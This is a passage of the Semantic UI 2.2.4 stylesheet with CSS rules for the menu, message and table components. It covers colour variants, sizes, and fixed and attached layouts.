  color: #E03997 !important;
}

.ui.menu .brown.active.item,
.ui.brown.menu .active.item {
  border-color: #A5673F !important;
  color: #A5673F !important;
}

.ui.menu .grey.active.item,
.ui.grey.menu .active.item {
  border-color: #767676 !important;
  color: #767676 !important;
}

/*--------------
    Inverted
---------------*/

.ui.inverted.menu {
  border: 0px solid transparent;
  background: #1B1C1D;
  box-shadow: none;
}

/* Menu Item */

.ui.inverted.menu .item,
.ui.inverted.menu .item > a:not(.ui) {
  background: transparent;
  color: rgba(255, 255, 255, 0.9);
}

.ui.inverted.menu .item.menu {
  background: transparent;
}

/*--- Border ---*/

.ui.inverted.menu .item:before {
  background: rgba(255, 255, 255, 0.08);
}

.ui.vertical.inverted.menu .item:before {
  background: rgba(255, 255, 255, 0.08);
}

/* Sub Menu */

.ui.vertical.inverted.menu .menu .item,
.ui.vertical.inverted.menu .menu .item a:not(.ui) {
  color: rgba(255, 255, 255, 0.5);
}

/* Header */

.ui.inverted.menu .header.item {
  margin: 0em;
  background: transparent;
  box-shadow: none;
}

/* Disabled */

.ui.inverted.menu .item.disabled,
.ui.inverted.menu .item.disabled:hover {
  color: rgba(225, 225, 225, 0.3);
}

/*--- Hover ---*/

.ui.link.inverted.menu .item:hover,
.ui.inverted.menu .dropdown.item:hover,
.ui.inverted.menu .link.item:hover,
.ui.inverted.menu a.item:hover {
  background: rgba(255, 255, 255, 0.08);
  color: #ffffff;
}

.ui.vertical.inverted.menu .item .menu a.item:hover,
.ui.vertical.inverted.menu .item .menu .link.item:hover {
  background: transparent;
  color: #ffffff;
}

/*--- Pressed ---*/

.ui.inverted.menu a.item:active,
.ui.inverted.menu .link.item:active {
  background: rgba(255, 255, 255, 0.08);
  color: #ffffff;
}

/*--- Active ---*/

.ui.inverted.menu .active.item {
  background: rgba(255, 255, 255, 0.15);
  color: #ffffff !important;
}

.ui.inverted.vertical.menu .item .menu .active.item {
  background: transparent;
  color: #FFFFFF;
}

.ui.inverted.pointing.menu .active.item:after {
  background: #3D3E3F !important;
  margin: 0em !important;
  box-shadow: none !important;
  border: none !important;
}

/*--- Active Hover ---*/

.ui.inverted.menu .active.item:hover {
  background: rgba(255, 255, 255, 0.15);
  color: #FFFFFF !important;
}

.ui.inverted.pointing.menu .active.item:hover:after {
  background: #3D3E3F !important;
}

/*--------------
     Floated
---------------*/

.ui.floated.menu {
  float: left;
  margin: 0rem 0.5rem 0rem 0rem;
}

.ui.floated.menu .item:last-child:before {
  display: none;
}

.ui.right.floated.menu {
  float: right;
  margin: 0rem 0rem 0rem 0.5rem;
}

/*--------------
    Inverted
---------------*/

/* Red */

.ui.inverted.menu .red.active.item,
.ui.inverted.red.menu {
  background-color: #DB2828;
}

.ui.inverted.red.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.red.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Orange */

.ui.inverted.menu .orange.active.item,
.ui.inverted.orange.menu {
  background-color: #F2711C;
}

.ui.inverted.orange.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.orange.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Yellow */

.ui.inverted.menu .yellow.active.item,
.ui.inverted.yellow.menu {
  background-color: #FBBD08;
}

.ui.inverted.yellow.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.yellow.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Olive */

.ui.inverted.menu .olive.active.item,
.ui.inverted.olive.menu {
  background-color: #B5CC18;
}

.ui.inverted.olive.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.olive.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Green */

.ui.inverted.menu .green.active.item,
.ui.inverted.green.menu {
  background-color: #21BA45;
}

.ui.inverted.green.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.green.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Teal */

.ui.inverted.menu .teal.active.item,
.ui.inverted.teal.menu {
  background-color: #00B5AD;
}

.ui.inverted.teal.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.teal.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Blue */

.ui.inverted.menu .blue.active.item,
.ui.inverted.blue.menu {
  background-color: #2185D0;
}

.ui.inverted.blue.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.blue.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Violet */

.ui.inverted.menu .violet.active.item,
.ui.inverted.violet.menu {
  background-color: #6435C9;
}

.ui.inverted.violet.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.violet.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Purple */

.ui.inverted.menu .purple.active.item,
.ui.inverted.purple.menu {
  background-color: #A333C8;
}

.ui.inverted.purple.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.purple.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Pink */

.ui.inverted.menu .pink.active.item,
.ui.inverted.pink.menu {
  background-color: #E03997;
}

.ui.inverted.pink.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.pink.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Brown */

.ui.inverted.menu .brown.active.item,
.ui.inverted.brown.menu {
  background-color: #A5673F;
}

.ui.inverted.brown.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.brown.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/* Grey */

.ui.inverted.menu .grey.active.item,
.ui.inverted.grey.menu {
  background-color: #767676;
}

.ui.inverted.grey.menu .item:before {
  background-color: rgba(34, 36, 38, 0.1);
}

.ui.inverted.grey.menu .active.item {
  background-color: rgba(0, 0, 0, 0.1) !important;
}

/*--------------
     Fitted
---------------*/

.ui.fitted.menu .item,
.ui.fitted.menu .item .menu .item,
.ui.menu .fitted.item {
  padding: 0em;
}

.ui.horizontally.fitted.menu .item,
.ui.horizontally.fitted.menu .item .menu .item,
.ui.menu .horizontally.fitted.item {
  padding-top: 0.92857143em;
  padding-bottom: 0.92857143em;
}

.ui.vertically.fitted.menu .item,
.ui.vertically.fitted.menu .item .menu .item,
.ui.menu .vertically.fitted.item {
  padding-left: 1.14285714em;
  padding-right: 1.14285714em;
}

/*--------------
   Borderless
---------------*/

.ui.borderless.menu .item:before,
.ui.borderless.menu .item .menu .item:before,
.ui.menu .borderless.item:before {
  background: none !important;
}

/*-------------------
       Compact
--------------------*/

.ui.compact.menu {
  display: -webkit-inline-box;
  display: -webkit-inline-flex;
  display: -ms-inline-flexbox;
  display: inline-flex;
  margin: 0em;
  vertical-align: middle;
}

.ui.compact.vertical.menu {
  display: inline-block;
}

.ui.compact.menu .item:last-child {
  border-radius: 0em 0.28571429rem 0.28571429rem 0em;
}

.ui.compact.menu .item:last-child:before {
  display: none;
}

.ui.compact.vertical.menu {
  width: auto !important;
}

.ui.compact.vertical.menu .item:last-child::before {
  display: block;
}

/*-------------------
        Fluid
--------------------*/

.ui.menu.fluid,
.ui.vertical.menu.fluid {
  width: 100% !important;
}

/*-------------------
      Evenly Sized
--------------------*/

.ui.item.menu,
.ui.item.menu .item {
  width: 100%;
  padding-left: 0em !important;
  padding-right: 0em !important;
  margin-left: 0em !important;
  margin-right: 0em !important;
  text-align: center;
  -webkit-box-pack: center;
  -webkit-justify-content: center;
  -ms-flex-pack: center;
  justify-content: center;
}

.ui.item.menu .item:last-child:before {
  display: none;
}

.ui.menu.two.item .item {
  width: 50%;
}

.ui.menu.three.item .item {
  width: 33.333%;
}

.ui.menu.four.item .item {
  width: 25%;
}

.ui.menu.five.item .item {
  width: 20%;
}

.ui.menu.six.item .item {
  width: 16.666%;
}

.ui.menu.seven.item .item {
  width: 14.285%;
}

.ui.menu.eight.item .item {
  width: 12.500%;
}

.ui.menu.nine.item .item {
  width: 11.11%;
}

.ui.menu.ten.item .item {
  width: 10.0%;
}

.ui.menu.eleven.item .item {
  width: 9.09%;
}

.ui.menu.twelve.item .item {
  width: 8.333%;
}

/*--------------
     Fixed
---------------*/

.ui.menu.fixed {
  position: fixed;
  z-index: 101;
  margin: 0em;
  width: 100%;
}

.ui.menu.fixed,
.ui.menu.fixed .item:first-child,
.ui.menu.fixed .item:last-child {
  border-radius: 0px !important;
}

.ui.fixed.menu,
.ui[class*="top fixed"].menu {
  top: 0px;
  left: 0px;
  right: auto;
  bottom: auto;
}

.ui[class*="top fixed"].menu {
  border-top: none;
  border-left: none;
  border-right: none;
}

.ui[class*="right fixed"].menu {
  border-top: none;
  border-bottom: none;
  border-right: none;
  top: 0px;
  right: 0px;
  left: auto;
  bottom: auto;
  width: auto;
  height: 100%;
}

.ui[class*="bottom fixed"].menu {
  border-bottom: none;
  border-left: none;
  border-right: none;
  bottom: 0px;
  left: 0px;
  top: auto;
  right: auto;
}

.ui[class*="left fixed"].menu {
  border-top: none;
  border-bottom: none;
  border-left: none;
  top: 0px;
  left: 0px;
  right: auto;
  bottom: auto;
  width: auto;
  height: 100%;
}

/* Coupling with Grid */

.ui.fixed.menu + .ui.grid {
  padding-top: 2.75rem;
}

/*-------------------
       Pointing
--------------------*/

.ui.pointing.menu .item:after {
  visibility: hidden;
  position: absolute;
  content: '';
  top: 100%;
  left: 50%;
  -webkit-transform: translateX(-50%) translateY(-50%) rotate(45deg);
  -ms-transform: translateX(-50%) translateY(-50%) rotate(45deg);
  transform: translateX(-50%) translateY(-50%) rotate(45deg);
  background: none;
  margin: 0.5px 0em 0em;
  width: 0.57142857em;
  height: 0.57142857em;
  border: none;
  border-bottom: 1px solid #D4D4D5;
  border-right: 1px solid #D4D4D5;
  z-index: 2;
  -webkit-transition: background 0.1s ease;
  transition: background 0.1s ease;
}

.ui.vertical.pointing.menu .item:after {
  position: absolute;
  top: 50%;
  right: 0%;
  bottom: auto;
  left: auto;
  -webkit-transform: translateX(50%) translateY(-50%) rotate(45deg);
  -ms-transform: translateX(50%) translateY(-50%) rotate(45deg);
  transform: translateX(50%) translateY(-50%) rotate(45deg);
  margin: 0em -0.5px 0em 0em;
  border: none;
  border-top: 1px solid #D4D4D5;
  border-right: 1px solid #D4D4D5;
}

/* Active */

.ui.pointing.menu .active.item:after {
  visibility: visible;
}

.ui.pointing.menu .active.dropdown.item:after {
  visibility: hidden;
}

/* Don't double up pointers */

.ui.pointing.menu .dropdown.active.item:after,
.ui.pointing.menu .active.item .menu .active.item:after {
  display: none;
}

/* Colors */

.ui.pointing.menu .active.item:hover:after {
  background-color: #F2F2F2;
}

.ui.pointing.menu .active.item:after {
  background-color: #F2F2F2;
}

.ui.pointing.menu .active.item:hover:after {
  background-color: #F2F2F2;
}

.ui.vertical.pointing.menu .active.item:hover:after {
  background-color: #F2F2F2;
}

.ui.vertical.pointing.menu .active.item:after {
  background-color: #F2F2F2;
}

.ui.vertical.pointing.menu .menu .active.item:after {
  background-color: #FFFFFF;
}

/*--------------
    Attached
---------------*/

/* Middle */

.ui.attached.menu {
  top: 0px;
  bottom: 0px;
  border-radius: 0px;
  margin: 0em -1px;
  width: calc(100% +  2px );
  max-width: calc(100% +  2px );
  box-shadow: none;
}

.ui.attached + .ui.attached.menu:not(.top) {
  border-top: none;
}

/* Top */

.ui[class*="top attached"].menu {
  bottom: 0px;
  margin-bottom: 0em;
  top: 0px;
  margin-top: 1rem;
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

.ui.menu[class*="top attached"]:first-child {
  margin-top: 0em;
}

/* Bottom */

.ui[class*="bottom attached"].menu {
  bottom: 0px;
  margin-top: 0em;
  top: 0px;
  margin-bottom: 1rem;
  box-shadow: 0px 1px 2px 0 rgba(34, 36, 38, 0.15), none;
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

.ui[class*="bottom attached"].menu:last-child {
  margin-bottom: 0em;
}

/* Attached Menu Item */

.ui.top.attached.menu > .item:first-child {
  border-radius: 0.28571429rem 0em 0em 0em;
}

.ui.bottom.attached.menu > .item:first-child {
  border-radius: 0em 0em 0em 0.28571429rem;
}

/* Tabular Attached */

.ui.attached.menu:not(.tabular) {
  border: 1px solid #D4D4D5;
}

.ui.attached.inverted.menu {
  border: none;
}

.ui.attached.tabular.menu {
  margin-left: 0;
  margin-right: 0;
  width: 100%;
}

/*--------------
     Sizes
---------------*/

/* Mini */

.ui.mini.menu {
  font-size: 0.78571429rem;
}

.ui.mini.vertical.menu {
  width: 9rem;
}

/* Tiny */

.ui.tiny.menu {
  font-size: 0.85714286rem;
}

.ui.tiny.vertical.menu {
  width: 11rem;
}

/* Small */

.ui.small.menu {
  font-size: 0.92857143rem;
}

.ui.small.vertical.menu {
  width: 13rem;
}

/* Medium */

.ui.menu {
  font-size: 1rem;
}

.ui.vertical.menu {
  width: 15rem;
}

/* Large */

.ui.large.menu {
  font-size: 1.07142857rem;
}

.ui.large.vertical.menu {
  width: 18rem;
}

/* Huge */

.ui.huge.menu {
  font-size: 1.14285714rem;
}

.ui.huge.vertical.menu {
  width: 20rem;
}

/* Big */

.ui.big.menu {
  font-size: 1.21428571rem;
}

.ui.big.vertical.menu {
  width: 22rem;
}

/* Massive */

.ui.massive.menu {
  font-size: 1.28571429rem;
}

.ui.massive.vertical.menu {
  width: 25rem;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
         Site Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Message
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
            Message
*******************************/

.ui.message {
  position: relative;
  min-height: 1em;
  margin: 1em 0em;
  background: #F8F8F9;
  padding: 1em 1.5em;
  line-height: 1.4285em;
  color: rgba(0, 0, 0, 0.87);
  -webkit-transition: opacity 0.1s ease, color 0.1s ease, background 0.1s ease, box-shadow 0.1s ease;
  transition: opacity 0.1s ease, color 0.1s ease, background 0.1s ease, box-shadow 0.1s ease;
  border-radius: 0.28571429rem;
  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.22) inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.message:first-child {
  margin-top: 0em;
}

.ui.message:last-child {
  margin-bottom: 0em;
}

/*--------------
     Content
---------------*/

/* Header */

.ui.message .header {
  display: block;
  
  font-weight: bold;
  margin: -0.14285em 0em 0rem 0em;
}

/* Default font size */

.ui.message .header:not(.ui) {
  font-size: 1.14285714em;
}

/* Paragraph */

.ui.message p {
  opacity: 0.85;
  margin: 0.75em 0em;
}

.ui.message p:first-child {
  margin-top: 0em;
}

.ui.message p:last-child {
  margin-bottom: 0em;
}

.ui.message .header + p {
  margin-top: 0.25em;
}

/* List */

.ui.message .list:not(.ui) {
  text-align: left;
  padding: 0em;
  opacity: 0.85;
  list-style-position: inside;
  margin: 0.5em 0em 0em;
}

.ui.message .list:not(.ui):first-child {
  margin-top: 0em;
}

.ui.message .list:not(.ui):last-child {
  margin-bottom: 0em;
}

.ui.message .list:not(.ui) li {
  position: relative;
  list-style-type: none;
  margin: 0em 0em 0.3em 1em;
  padding: 0em;
}

.ui.message .list:not(.ui) li:before {
  position: absolute;
  content: '•';
  left: -1em;
  height: 100%;
  vertical-align: baseline;
}

.ui.message .list:not(.ui) li:last-child {
  margin-bottom: 0em;
}

/* Icon */

.ui.message > .icon {
  margin-right: 0.6em;
}

/* Close Icon */

.ui.message > .close.icon {
  cursor: pointer;
  position: absolute;
  margin: 0em;
  top: 0.78575em;
  right: 0.5em;
  opacity: 0.7;
  -webkit-transition: opacity 0.1s ease;
  transition: opacity 0.1s ease;
}

.ui.message > .close.icon:hover {
  opacity: 1;
}

/* First / Last Element */

.ui.message > :first-child {
  margin-top: 0em;
}

.ui.message > :last-child {
  margin-bottom: 0em;
}

/*******************************
            Coupling
*******************************/

.ui.dropdown .menu > .message {
  margin: 0px -1px;
}

/*******************************
            States
*******************************/

/*--------------
    Visible
---------------*/

.ui.visible.visible.visible.visible.message {
  display: block;
}

.ui.icon.visible.visible.visible.visible.message {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
}

/*--------------
     Hidden
---------------*/

.ui.hidden.hidden.hidden.hidden.message {
  display: none;
}

/*******************************
            Variations
*******************************/

/*--------------
    Compact
---------------*/

.ui.compact.message {
  display: inline-block;
}

/*--------------
    Attached
---------------*/

.ui.attached.message {
  margin-bottom: -1px;
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
  box-shadow: 0em 0em 0em 1px rgba(34, 36, 38, 0.15) inset;
  margin-left: -1px;
  margin-right: -1px;
}

.ui.attached + .ui.attached.message:not(.top):not(.bottom) {
  margin-top: -1px;
  border-radius: 0em;
}

.ui.bottom.attached.message {
  margin-top: -1px;
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
  box-shadow: 0em 0em 0em 1px rgba(34, 36, 38, 0.15) inset, 0px 1px 2px 0 rgba(34, 36, 38, 0.15);
}

.ui.bottom.attached.message:not(:last-child) {
  margin-bottom: 1em;
}

.ui.attached.icon.message {
  width: auto;
}

/*--------------
      Icon
---------------*/

.ui.icon.message {
  display: -webkit-box;
  display: -webkit-flex;
  display: -ms-flexbox;
  display: flex;
  width: 100%;
  -webkit-box-align: center;
  -webkit-align-items: center;
  -ms-flex-align: center;
  align-items: center;
}

.ui.icon.message > .icon:not(.close) {
  display: block;
  -webkit-box-flex: 0;
  -webkit-flex: 0 0 auto;
  -ms-flex: 0 0 auto;
  flex: 0 0 auto;
  width: auto;
  line-height: 1;
  vertical-align: middle;
  font-size: 3em;
  opacity: 0.8;
}

.ui.icon.message > .content {
  display: block;
  -webkit-box-flex: 1;
  -webkit-flex: 1 1 auto;
  -ms-flex: 1 1 auto;
  flex: 1 1 auto;
  vertical-align: middle;
}

.ui.icon.message .icon:not(.close) + .content {
  padding-left: 0rem;
}

.ui.icon.message .circular.icon {
  width: 1em;
}

/*--------------
    Floating
---------------*/

.ui.floating.message {
  box-shadow: 0px 0px 0px 1px rgba(34, 36, 38, 0.22) inset, 0px 2px 4px 0px rgba(34, 36, 38, 0.12), 0px 2px 10px 0px rgba(34, 36, 38, 0.15);
}

/*--------------
     Colors
---------------*/

.ui.black.message {
  background-color: #1B1C1D;
  color: rgba(255, 255, 255, 0.9);
}

/*--------------
     Types
---------------*/

/* Positive */

.ui.positive.message {
  background-color: #FCFFF5;
  color: #2C662D;
}

.ui.positive.message,
.ui.attached.positive.message {
  box-shadow: 0px 0px 0px 1px #A3C293 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.positive.message .header {
  color: #1A531B;
}

/* Negative */

.ui.negative.message {
  background-color: #FFF6F6;
  color: #9F3A38;
}

.ui.negative.message,
.ui.attached.negative.message {
  box-shadow: 0px 0px 0px 1px #E0B4B4 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.negative.message .header {
  color: #912D2B;
}

/* Info */

.ui.info.message {
  background-color: #F8FFFF;
  color: #276F86;
}

.ui.info.message,
.ui.attached.info.message {
  box-shadow: 0px 0px 0px 1px #A9D5DE inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.info.message .header {
  color: #0E566C;
}

/* Warning */

.ui.warning.message {
  background-color: #FFFAF3;
  color: #573A08;
}

.ui.warning.message,
.ui.attached.warning.message {
  box-shadow: 0px 0px 0px 1px #C9BA9B inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.warning.message .header {
  color: #794B02;
}

/* Error */

.ui.error.message {
  background-color: #FFF6F6;
  color: #9F3A38;
}

.ui.error.message,
.ui.attached.error.message {
  box-shadow: 0px 0px 0px 1px #E0B4B4 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.error.message .header {
  color: #912D2B;
}

/* Success */

.ui.success.message {
  background-color: #FCFFF5;
  color: #2C662D;
}

.ui.success.message,
.ui.attached.success.message {
  box-shadow: 0px 0px 0px 1px #A3C293 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.success.message .header {
  color: #1A531B;
}

/* Colors */

.ui.inverted.message,
.ui.black.message {
  background-color: #1B1C1D;
  color: rgba(255, 255, 255, 0.9);
}

.ui.red.message {
  background-color: #FFE8E6;
  color: #DB2828;
  box-shadow: 0px 0px 0px 1px #DB2828 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.red.message .header {
  color: #c82121;
}

.ui.orange.message {
  background-color: #FFEDDE;
  color: #F2711C;
  box-shadow: 0px 0px 0px 1px #F2711C inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.orange.message .header {
  color: #e7640d;
}

.ui.yellow.message {
  background-color: #FFF8DB;
  color: #B58105;
  box-shadow: 0px 0px 0px 1px #B58105 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.yellow.message .header {
  color: #9c6f04;
}

.ui.olive.message {
  background-color: #FBFDEF;
  color: #8ABC1E;
  box-shadow: 0px 0px 0px 1px #8ABC1E inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.olive.message .header {
  color: #7aa61a;
}

.ui.green.message {
  background-color: #E5F9E7;
  color: #1EBC30;
  box-shadow: 0px 0px 0px 1px #1EBC30 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.green.message .header {
  color: #1aa62a;
}

.ui.teal.message {
  background-color: #E1F7F7;
  color: #10A3A3;
  box-shadow: 0px 0px 0px 1px #10A3A3 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.teal.message .header {
  color: #0e8c8c;
}

.ui.blue.message {
  background-color: #DFF0FF;
  color: #2185D0;
  box-shadow: 0px 0px 0px 1px #2185D0 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.blue.message .header {
  color: #1e77ba;
}

.ui.violet.message {
  background-color: #EAE7FF;
  color: #6435C9;
  box-shadow: 0px 0px 0px 1px #6435C9 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.violet.message .header {
  color: #5a30b5;
}

.ui.purple.message {
  background-color: #F6E7FF;
  color: #A333C8;
  box-shadow: 0px 0px 0px 1px #A333C8 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.purple.message .header {
  color: #922eb4;
}

.ui.pink.message {
  background-color: #FFE3FB;
  color: #E03997;
  box-shadow: 0px 0px 0px 1px #E03997 inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.pink.message .header {
  color: #dd238b;
}

.ui.brown.message {
  background-color: #F1E2D3;
  color: #A5673F;
  box-shadow: 0px 0px 0px 1px #A5673F inset, 0px 0px 0px 0px rgba(0, 0, 0, 0);
}

.ui.brown.message .header {
  color: #935b38;
}

/*--------------
     Sizes
---------------*/

.ui.mini.message {
  font-size: 0.78571429em;
}

.ui.tiny.message {
  font-size: 0.85714286em;
}

.ui.small.message {
  font-size: 0.92857143em;
}

.ui.message {
  font-size: 1em;
}

.ui.large.message {
  font-size: 1.14285714em;
}

.ui.big.message {
  font-size: 1.28571429em;
}

.ui.huge.message {
  font-size: 1.42857143em;
}

.ui.massive.message {
  font-size: 1.71428571em;
}

/*******************************
         Theme Overrides
*******************************/

/*******************************
    User Variable Overrides
*******************************/
/*!
 * # Semantic UI 2.2.4 - Table
 * http://github.com/semantic-org/semantic-ui/
 *
 *
 * Released under the MIT license
 * http://opensource.org/licenses/MIT
 *
 */

/*******************************
             Table
*******************************/

/* Prototype */

.ui.table {
  width: 100%;
  background: #FFFFFF;
  margin: 1em 0em;
  border: 1px solid rgba(34, 36, 38, 0.15);
  box-shadow: none;
  border-radius: 0.28571429rem;
  text-align: left;
  color: rgba(0, 0, 0, 0.87);
  border-collapse: separate;
  border-spacing: 0px;
}

.ui.table:first-child {
  margin-top: 0em;
}

.ui.table:last-child {
  margin-bottom: 0em;
}

/*******************************
             Parts
*******************************/

/* Table Content */

.ui.table th,
.ui.table td {
  -webkit-transition: background 0.1s ease, color 0.1s ease;
  transition: background 0.1s ease, color 0.1s ease;
}

/* Headers */

.ui.table thead {
  box-shadow: none;
}

.ui.table thead th {
  cursor: auto;
  background: #F9FAFB;
  text-align: inherit;
  color: rgba(0, 0, 0, 0.87);
  padding: 0.92857143em 0.78571429em;
  vertical-align: inherit;
  font-style: none;
  font-weight: bold;
  text-transform: none;
  border-bottom: 1px solid rgba(34, 36, 38, 0.1);
  border-left: none;
}

.ui.table thead tr > th:first-child {
  border-left: none;
}

.ui.table thead tr:first-child > th:first-child {
  border-radius: 0.28571429rem 0em 0em 0em;
}

.ui.table thead tr:first-child > th:last-child {
  border-radius: 0em 0.28571429rem 0em 0em;
}

.ui.table thead tr:first-child > th:only-child {
  border-radius: 0.28571429rem 0.28571429rem 0em 0em;
}

/* Footer */

.ui.table tfoot {
  box-shadow: none;
}

.ui.table tfoot th {
  cursor: auto;
  border-top: 1px solid rgba(34, 36, 38, 0.15);
  background: #F9FAFB;
  text-align: inherit;
  color: rgba(0, 0, 0, 0.87);
  padding: 0.78571429em 0.78571429em;
  vertical-align: middle;
  font-style: normal;
  font-weight: normal;
  text-transform: none;
}

.ui.table tfoot tr > th:first-child {
  border-left: none;
}

.ui.table tfoot tr:first-child > th:first-child {
  border-radius: 0em 0em 0em 0.28571429rem;
}

.ui.table tfoot tr:first-child > th:last-child {
  border-radius: 0em 0em 0.28571429rem 0em;
}

.ui.table tfoot tr:first-child > th:only-child {
  border-radius: 0em 0em 0.28571429rem 0.28571429rem;
}

/* Table Row */

.ui.table tr td {
  border-top: 1px solid rgba(34, 36, 38, 0.1);
}

.ui.table tr:first-child td {
  border-top: none;
}

/* Table Cells */

.ui.table td {
  padding: 0.78571429em 0.78571429em;
  text-align: inherit;
}

/* Icons */

.ui.table > .icon {
  vertical-align: baseline;
}

.ui.table > .icon:only-child {
  margin: 0em;
}

/* Table Segment */

.ui.table.segment {
  padding: 0em;
}

.ui.table.segment:after {
  display: none;
}

.ui.table.segment.stacked:after {
  display: block;
}

/* Responsive */

@media only screen and (max-width: 767px) {
  .ui.table:not(.unstackable) {
    width: 100%;
  }

  .ui.table:not(.unstackable) tbody,
  .ui.table:not(.unstackable) tr,
  .ui.table:not(.unstackable) tr > th,
  .ui.table:not(.unstackable) tr > td {
    width: auto !important;
    display: block !important;
  }

  .ui.table:not(.unstackable) {
    padding: 0em;
  }

  .ui.table:not(.unstackable) thead {
    display: block;
  }

  .ui.table:not(.unstackable) tfoot {
    display: block;
  }

  .ui.table:not(.unstackable) tr {
    padding-top: 1em;
    padding-bottom: 1em;
    box-shadow: 0px -1px 0px 0px rgba(0, 0, 0, 0.1) inset !important;
  }

  .ui.table:not(.unstackable) tr > th,
  .ui.table:not(.unstackable) tr > td {
    background: none;
    border: none !important;
    padding: 0.25em 0.75em !important;
    box-shadow: none !important;
  }

  .ui.table:not(.unstackable) th:first-child,
  .ui.table:not(.unstackable) td:first-child {
    font-weight: bold;
  }

  /* Definition Table */

  .ui.definition.table:not(.unstackable) thead th:first-child {
    box-shadow: none !important;
  }
}

/*******************************
            Coupling
*******************************/

/* UI Image */

.ui.table th .image,
.ui.table th .image img,
.ui.table td .image,
.ui.table td .image img {
  max-width: none;
}

/*******************************
             Types
*******************************/

/*--------------
    Complex
---------------*/

.ui.structured.table {
  border-collapse: collapse;
}

.ui.structured.table thead th {
  border-left: none;
  border-right: none;
}

.ui.structured.sortable.table thead th {
  border-left: 1px solid rgba(34, 36, 38, 0.15);
  border-right: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.structured.basic.table th {
  border-left: none;
  border-right: none;
}

.ui.structured.celled.table tr th,
.ui.structured.celled.table tr td {
  border-left: 1px solid rgba(34, 36, 38, 0.1);
  border-right: 1px solid rgba(34, 36, 38, 0.1);
}

/*--------------
   Definition
---------------*/

.ui.definition.table thead:not(.full-width) th:first-child {
  pointer-events: none;
  background: transparent;
  font-weight: normal;
  color: rgba(0, 0, 0, 0.4);
  box-shadow: -1px -1px 0px 1px #FFFFFF;
}

.ui.definition.table tfoot:not(.full-width) th:first-child {
  pointer-events: none;
  background: transparent;
  font-weight: rgba(0, 0, 0, 0.4);
  color: normal;
  box-shadow: 1px 1px 0px 1px #FFFFFF;
}

/* Remove Border */

.ui.celled.definition.table thead:not(.full-width) th:first-child {
  box-shadow: 0px -1px 0px 1px #FFFFFF;
}

.ui.celled.definition.table tfoot:not(.full-width) th:first-child {
  box-shadow: 0px 1px 0px 1px #FFFFFF;
}

/* Highlight Defining Column */

.ui.definition.table tr td:first-child:not(.ignored),
.ui.definition.table tr td.definition {
  background: rgba(0, 0, 0, 0.03);
  font-weight: bold;
  color: rgba(0, 0, 0, 0.95);
  text-transform: '';
  box-shadow: '';
  text-align: '';
  font-size: 1em;
  padding-left: '';
  padding-right: '';
}

/* Fix 2nd Column */

.ui.definition.table thead:not(.full-width) th:nth-child(2) {
  border-left: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.definition.table tfoot:not(.full-width) th:nth-child(2) {
  border-left: 1px solid rgba(34, 36, 38, 0.15);
}

.ui.definition.table td:nth-child(2) {
  border-left: 1px solid rgba(34, 36, 38, 0.15);
}

/*******************************
             States
*******************************/

/*--------------
    Positive
---------------*/

.ui.table tr.positive,
.ui.table td.positive {
  box-shadow: 0px 0px 0px #A3C293 inset;
}

.ui.table tr.positive,
.ui.table td.positive {
  background: #FCFFF5 !important;
  color: #2C662D !important;
}

/*--------------
     Negative
---------------*/

.ui.table tr.negative,
